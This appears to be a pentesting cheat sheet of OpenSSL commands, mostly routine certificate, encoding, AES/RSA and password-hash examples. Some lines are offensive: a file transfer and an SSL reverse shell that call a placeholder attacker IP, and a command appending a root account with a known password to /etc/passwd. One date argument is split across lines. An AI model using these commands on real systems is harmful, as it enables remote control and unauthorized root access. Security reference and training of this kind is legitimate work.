OpenSSL - Criptografía y Certificados
Creación de certificados SSL, cifrado AES/RSA, shells reversas con SSL y generación de hashes con OpenSSL.
openssl
# create certificate
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
# stand up server
openssl s_server -quiet -accept <PORT> -cert certificate.pem -key key.pem < <FILEPATH>
# Download file
openssl s_client -connect <ATTACKER_IP>:<PORT> -quiet > <FILEPATH>
generate client certificate from ca.key
openssl req -x509 -new -nodes -key ca.key -sha256 -days 1024 -out rh.pem
openssl pkcs12 -export -in rh.pem -inkey ca.key -out rh.p12
openssl reverse shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s
🏛️ OpenSSL
Commands
List Ciphers
openssl list -cipher-commands
Base64
echo "Hello World" > plain.txt
# Encoding
openssl enc -base64 -in plain.txt
# Saving the output
openssl enc -base64 -in plain.txt -out cipher.txt
# Decoding
openssl enc -base64 -d in cipher.txt
AES 128
# Encryption
openssl enc -aes-128-cbc -in plain.txt -out cipher
<Enter a password>
# Decryption
openssl enc -aes-128-cbc -d -in cipher -out cipher-dec.txt
RSA
# Generate RSA Keys
openssl genrsa -out keypair 2048
# Extract public key from the private key
openssl rsa -in keypair -pubout
# Get detailed information
openssl rsa -in keypair -text
Encrypted Linux Passwd
# You can add this encrypted password in /etc/passwd
openssl passwd Password123
# Generate Salted Password
openssl passwd -1 -salt User123 Password123
generate passwd hash with openssl
openssl passwd -1 -salt rh0x01 password123
🏦 OpenSSL Commands
Password Creation
/etc/passwd password
# Generate /etc/passwd md5 password
openssl passwd -1 -salt hacked hacked
# Update the etc/passwd file
echo 'root:$1$hacked$AT54UB5LPtGe8TddyLG9O0:0:0:root:/root:/bin/bash' >> /etc/passwd
create self-signed ssl certificate
openssl req -newkey rsa:2048 -nodes -keyout my_cert.key -x509 -days 36
2 -out my_cert.crt
# convert to .pem if needed:
openssl pkcs12 -export -in my_cert.crt -inkey my_cert.key -out my_cert.p12
openssl pkcs12 -in my_cert.p12 -nodes -out my_cert.pem